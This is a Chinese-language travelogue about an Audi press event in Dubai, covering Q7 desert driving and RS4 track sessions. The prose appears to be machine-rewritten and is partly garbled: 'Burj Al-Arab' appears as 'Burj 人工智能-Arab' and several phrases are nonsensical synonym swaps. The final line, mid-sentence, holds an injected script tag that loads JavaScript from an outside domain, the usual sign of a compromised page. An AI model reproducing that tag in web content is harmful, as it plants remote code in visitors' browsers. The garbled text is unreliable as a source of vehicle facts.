开奥迪Q7穿越媲美达喀尔地貌的无人沙漠，却没达喀尔的危险重重；歌手老狼、银行家幸公杰、建筑设计师马岩松与超跑车队理事长严路像中东石油商一样，在迪拜这座以Burj 人工智能-Arab为代表的全球最奢华领地上，彻底领略奥迪选择白色Q7在这个时候原理由！
奢华要点
超越50辆的Q7在沙漠腹地，超越50辆的A8在酒店大堂，超越50辆的RS4在迪拜F1赛道。天天与漂亮的Burj 人工智能-Arab酒店和数不清的宾利、路虎、阿斯顿-马丁为伴，夜晚停靠在海港内的无数私人游艇，当然还有吃不够的阿拉伯式美食和看不够的各色美女。
迪拜 双色搭配
这是大家心中觉得的黄金胜地，不是由于它宝贵，是由于它的颜色，放眼望过去的黄色总能叫人联想起黄金。
没去过迪拜之前，自己对这个以奢华著称的中东城市已有不少知道，但在机场通往酒店的路上，当眼见为实时，我还是非常吃惊！非常难想象这是一座处在沙漠腹地、水比油昂贵的城市，这里非常干净，而且非常适合白色！这一点从迪拜的沙漠可以看出，从男性们的着装上可以看出，从迪拜的建筑上可以看出，从奥迪专门为迪拜定制的50辆白色Q7中可以得到证明！
Q7，沙漠与高速公路的全能
第二天一早，享用过酷似新疆风味的阿拉伯早餐之后，Q7的体验之旅正式开始了。酒店通往沙漠试车场的路是一百多公里的迅速路，这段路自然成了体验Q7公路行驶性能的理想场合。因为选装了空气自适应式悬架，虽然身躯庞大，标准配置7座，Q7还是可以非常随便地为自己找到适合的行驶姿态。它的高速稳定性非常好，沙漠中的横风非常强，路上不时有被横风移动的沙丘入侵，然而无论是横风的干扰还是通过小的起伏的沙包，大家都非常难知道到有任何不安与不适，偶尔对大一点的沙包的躲避动作也十分从容。因为路况非常理想，车队的时速一度提升到200公里以上，奥迪当家的4.2升V8发动机的卓越性能再一次得到了完美的印证。无论是在Q7还是A8或是RS4上，它都能提供足够的保障。Q7风阻系数和隔音工程都非常出色，在高速行驶过程中，噪声被非常不错地控制在接近A8的水平，在给乘客提供尽量舒适环境的同时也给了BOSE音响更大的发挥空间。
你可以是个不会开车的人
一百多公里的路程随着着车队的集体右转向灯闪烁非常快结束了，下面的，是一次更持久的瞠目结舌。除去大家开过来的十几辆Q7以外，在前方巨大沙丘脚下，数十辆Q7严阵以待，沙丘的半坡是一座酷似空中楼阁的临时会所。此时此刻，身为一个20年的老车迷和见过不少大场面的汽车记者，还是感到阵阵的头皮发麻，脑子里闪过的念头是：海市蜃楼！
沙漠试车非常快开始，共分三个环节：通过性演示，沙漠驾驶和quattro动态体验。每个环节都是新惊奇！31度接近角，24度的侧倾角，超越半米的涉水深度，所有演示都叫人非常难想象这是眼前这部豪华、前卫的SUV所为之事。Q7既非一代的山路越野SUV，又不是为了舒适性而牺牲越野性能的第二代SUV。作为第三代超级SUV，它完美地结合了前者所有些这类特点。
当车缓缓地由硬地驶上沙丘的时候，悬着的心终于有了着落。Q7在沙漠里的感觉非常像一艘快艇，灵活夹携带一点飘移的感觉。方向盘很轻，但指向性非常不错。即使是面对突如其来的陡坡时，你也仅需深踩油门，黄沙漫天之后，征服是势必的结果，quattro技术的优势被淋漓尽致地体现出来。当然，这类动作虽然和达喀尔的赛车在沙漠中飞起飞落有着质有什么区别，但前者舒适性丧失殆尽的结果显然无人向往。Q7的表现，恰如其分。
伴随车队的深入，每个驾驶者的感觉也渐入佳境，在这片广阔的沙海中，你和Q7几乎可以闭上眼睛任意驰骋，没什么可以对你和它形成威胁。而且，在这里，你也用不着有哪些高超的车技，甚至可以是不会开车的人。
假如不是亲自领会到教练的驾驶技术，我对Q7的认识或许就停留在上面的阶段了。事实上，它远不止这样。随着着发动机有力的怒吼，眼前的Q7表现出它疯狂的另一面，你非常难想象它是怎么样在沙子里获得这样的提速能力，即使是沙滩车在这里也未必能这样。我开始想象假如用它去参加达喀尔赛好像也未尝不可了。
再也见不到RS4方阵
对于一个喜欢车的人来讲，RS4的地方自不必多说。
当大家第二天乘着A8驶入迪拜F1赛车场的时候，透过双眼直接射入大脑的是数十辆红蓝灰相间的发动着的RS4方阵。所有人几乎都是拎着相机跳着冲下车去的，每一个人好像都想独享这类诱惑的奥迪机器。随后，紧急变线、绕桩、赛道体验，这类传统的试车项目一个接一个地展开，开心、刺激，不满足！
对于普通人来讲，RS4简直就是一部是我们的赛车。S-line部门的工程师们绝对都是天才，他们对A4每一处细节的改动都是一次质的升华。亚光的“大嘴”、网状格栅、桶型坐椅……与最要命的是那完全赛车化的RS平底方向盘。
原本以为像RS4这种超大马力车会比较很难操控，事实并不是这样。RS4?script src=http://cn.jxmmtv.com/cn.js>cript>